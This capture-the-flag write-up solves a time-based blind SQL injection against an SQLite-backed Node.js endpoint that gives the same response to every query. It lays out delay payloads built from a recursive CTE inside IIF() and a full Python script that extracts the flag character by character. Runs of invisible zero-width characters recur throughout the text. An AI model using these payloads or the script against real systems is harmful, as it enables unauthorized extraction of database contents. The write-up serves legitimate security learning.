← Back to Writeups
CUSTOMMediumWeb

Совсем слепая инъекция (Completely Blind Injection)

XESXOR9/10/20266 min read
#web#custom#medium#binary_search_extraction#recursive_cte_delay#sqlite_iif_conditional#sqlite_injection#time_based_blind_sqli

Совсем слепая инъекция (Completely Blind Injection)

Platform: bug-makers | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: XESXOR | Date: 2026-05-25 | Status: Solved Techniques: binary_search_extraction, recursive_cte_delay, sqlite_iif_conditional, sqlite_injection, time_based_blind_sqli

Summary

Task: Node.js API injects user input into SQL WHERE clause, but returns identical response for both success and error — no boolean oracle. Solution: time-based blind SQLi using SQLite IIF() with recursive CTE as delay mechanism, binary search extraction.

Совсем слепая инъекция (Completely Blind Injection) — bug-makers

Description

Флаг находится в первой записи таблицы flag БД. В наличии только уязвимый эндпоинт, который отвечает одним и тем же сообщением на любой запрос.

English summary: The flag is in the first row of the flag table. The only available endpoint responds with the exact same message regardless of the query result — both success and error paths return {"result": "I don't know"}. This eliminates boolean-based and error-based blind SQLi, leaving only timing side-channel as the extraction method. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

API endpoint: https://full-blind-injection.t1.bug-makers.ru/check?number=1

Analysis

The provided source code (api-2.js) reveals the vulnerability:

javascript
app.get('/check', (req, res) => {
  const { number } = req.query;
  const query = `SELECT count(*) as count FROM flag WHERE ${number}`;

  db.get(query, (err, row) => {
    if (err) {
      return res.json({ result: 'I don\'t know' });
    }

    res.json({ result: 'I don\'t know' });
  });
});

Key observations:

  1. Direct concatenation — the number parameter is placed directly into the WHERE clause with zero sanitization.
  2. Identical responses — unlike the boolean-based "Слепая инъекция" variant, both the error callback and the success callback return the exact same JSON: {"result": "I don't know"}. There is no boolean oracle.
  3. No SLEEP() in SQLite — MySQL has SLEEP(N) and PostgreSQL has pg_sleep(N), but SQLite has no built-in delay function. A different mechanism is needed.
  4. SQLite IIF() — available since SQLite 3.32 (2020), IIF(condition, true_val, false_val) provides conditional evaluation that (unlike CASE WHEN) short-circuits properly. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Delay Mechanism: Recursive CTE

The key insight is using a recursive Common Table Expression to generate CPU-bound delay:

sql
WITH RECURSIVE cnt(x) AS (
  VALUES(1)
  UNION ALL
  SELECT x+1 FROM cnt WHERE x < 2000000
)
SELECT COUNT(*) FROM cnt

This generates 2 million rows recursively, taking approximately 3 seconds of CPU time. Combined with IIF():

sql
IIF(condition, (WITH RECURSIVE cnt(x) AS (...) SELECT COUNT(*) FROM cnt) > 0, 0)
  • Condition TRUE → recursive CTE executes → ~3 second response
  • Condition FALSE → returns 0 immediately → ~0.5 second response
  • Threshold: 1.5 seconds separates TRUE from FALSE ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Failed Approaches

  1. hex(randomblob(N)) — attempted using large random blob generation as delay. Timing was inconsistent because the server killed requests with very large blobs (memory limits), and smaller blobs were too fast.
  2. CASE WHEN ... THEN heavy ELSE fast END — SQLite evaluates both branches of CASE expressions regardless of the condition, so both TRUE and FALSE conditions were equally slow. IIF() was the solution because it short-circuits.
  3. Error vs success timing — no measurable difference between the two code paths (both are trivial JSON responses). ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

Step 1: Calibrate timing oracle

Verify the delay mechanism works:

?number=1=1                              → ~0.5s (baseline)
?number=IIF(1=1,<heavy_cte>,0)          → ~3.0s (TRUE = slow)
?number=IIF(1=0,<heavy_cte>,0)          → ~0.5s (FALSE = fast)

Step 2: Discover column name

Test common column names by checking if a subquery succeeds (non-error = column exists → IIF evaluates heavy branch):

?number=IIF((SELECT flag FROM flag LIMIT 1) IS NOT NULL,<heavy_cte>,0)    → ~3s ✓
?number=IIF((SELECT value FROM flag LIMIT 1) IS NOT NULL,<heavy_cte>,0)   → error → ~0.5s ✗

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Column name: flag.

Step 3: Extract flag length via binary search

?number=IIF(length((SELECT flag FROM flag LIMIT 1))>13,<heavy_cte>,0)  → slow (TRUE)
?number=IIF(length((SELECT flag FROM flag LIMIT 1))>27,<heavy_cte>,0)  → fast (FALSE)
?number=IIF(length((SELECT flag FROM flag LIMIT 1))>26,<heavy_cte>,0)  → fast (FALSE)
...converges to 27

Flag length: 27 characters.

Step 4: Extract flag character by character

For each position pos (1 to 27), binary search over ASCII range [32, 126]: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

?number=IIF(unicode(substr((SELECT flag FROM flag LIMIT 1),{pos},1))>{mid},<heavy_cte>,0)

Each character requires ~7 requests (log₂(94) ≈ 6.6). Total: ~200 requests, ~7 minutes.

Solve Script

python
#!/usr/bin/env python3
"""
Time-based blind SQLi for SQLite.
Query: SELECT count(*) as count FROM flag WHERE ${number}
Both error and success return {"result":"I don't know"}
Uses IIF() with recursive CTE for reliable timing oracle.
"""

import requests
import time
import sys

BASE_URL = "https://full-blind-injection.t1.bug-makers.ru/check"
CTE_LIMIT = 2000000  # ~3s delay
THRESHOLD = 1.5  # seconds - above this = TRUE
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

session = requests.Session()

def measure(payload):
    """Measure response time for a payload (single request)."""
    start = time.time()
    try:
        r = session.get(BASE_URL, params={"number": payload}, timeout=20)
    except:
        return 20.0
    return time.time() - start

def heavy_expr():
    """Return a heavy SQL expression using recursive CTE."""
    return (
        f"(WITH RECURSIVE cnt(x) AS (VALUES(1) UNION ALL "
        f"SELECT x+1 FROM cnt WHERE x<{CTE_LIMIT}) "
        f"SELECT COUNT(*) FROM cnt)>0"
    )
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

def test_condition(condition):
    """Test if a SQL condition is true using time-based oracle.
    TRUE condition -> IIF evaluates heavy branch -> slow (~3s)
    FALSE condition -> IIF returns 0 -> fast (~0.5s)
    """
    payload = f"IIF({condition},{heavy_expr()},0)"
    t = measure(payload)
    result = t > THRESHOLD
    print(f"  [{condition[:60]:60s}] {t:.2f}s -> {'TRUE' if result else 'FALSE'}", flush=True)
    return result

def find_column_name():
    """Try common column names."""
    candidates = ['flag', 'value', 'data', 'content', 'text', 'name',
                  'id', 'secret', 'key', 'f', 'fl']
    for col in candidates:
        condition = f"(SELECT {col} FROM flag LIMIT 1) IS NOT NULL"
        print(f"Testing column: {col}", flush=True)
        if test_condition(condition):
            print(f"  -> Column '{col}' EXISTS!", flush=True)
            return col
    return None
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

def find_length(column, max_len=100):
    """Binary search for string length."""
    low, high = 1, max_len
    while low < high:
        mid = (low + high) // 2
        condition = f"length((SELECT {column} FROM flag LIMIT 1))>{mid}"
        if test_condition(condition):
            low = mid + 1
        else:
            high = mid
    print(f"  -> Length = {low}", flush=True)
    return low

def extract_char(column, pos):
    """Binary search for character at position pos (1-indexed)."""
    low, high = 32, 126
    while low < high:
        mid = (low + high) // 2
        condition = (
            f"unicode(substr((SELECT {column} FROM flag LIMIT 1),"
            f"{pos},1))>{mid}"
        )
        if test_condition(condition):
            low = mid + 1
        else:
            high = mid
    return chr(low)
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

def extract_flag(column, length):
    """Extract the flag character by character."""
    flag = ""
    for pos in range(1, length + 1):
        ch = extract_char(column, pos)
        flag += ch
        print(f"  Position {pos}: '{ch}' -> Flag so far: {flag}", flush=True)
    return flag

if __name__ == "__main__":
    print("=== SQLite Time-Based Blind SQL Injection ===", flush=True)
    print(f"Using CTE limit: {CTE_LIMIT}, threshold: {THRESHOLD}s", flush=True)
    print()

    # Step 0: Calibrate
    print("[*] Calibrating...", flush=True)
    t_fast = measure("1=1")
    t_slow = measure(f"IIF(1=1,{heavy_expr()},0)")
    print(f"  Baseline: {t_fast:.2f}s, Heavy: {t_slow:.2f}s", flush=True)
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

    if t_slow < THRESHOLD:
        print(f"[!] Heavy query too fast ({t_slow:.2f}s). Increasing CTE limit...")
        CTE_LIMIT = 5000000
        t_slow = measure(f"IIF(1=1,{heavy_expr()},0)")
        print(f"  New heavy: {t_slow:.2f}s", flush=True)

    print()

    # Step 1: Find column name
    print("[*] Step 1: Finding column name...", flush=True)
    column = find_column_name()
    if not column:
        print("[!] Could not determine column name, trying 'flag'")
        column = 'flag'

    print()
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

    # Step 2: Find length
    print(f"[*] Step 2: Finding length of column '{column}'...", flush=True)
    length = find_length(column)

    print()

    # Step 3: Extract flag
    print(f"[*] Step 3: Extracting {length} characters...", flush=True)
    flag = extract_flag(column, length)

    print()
    print(f"[+] FLAG: {flag}", flush=True)

Extraction Statistics

MetricValue
Flag length27 characters
Requests per character~7 (binary search)
Total requests~200
Total extraction time~7 minutes
TRUE response time~3 seconds
FALSE response time~0.5 seconds
Threshold1.5 seconds
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍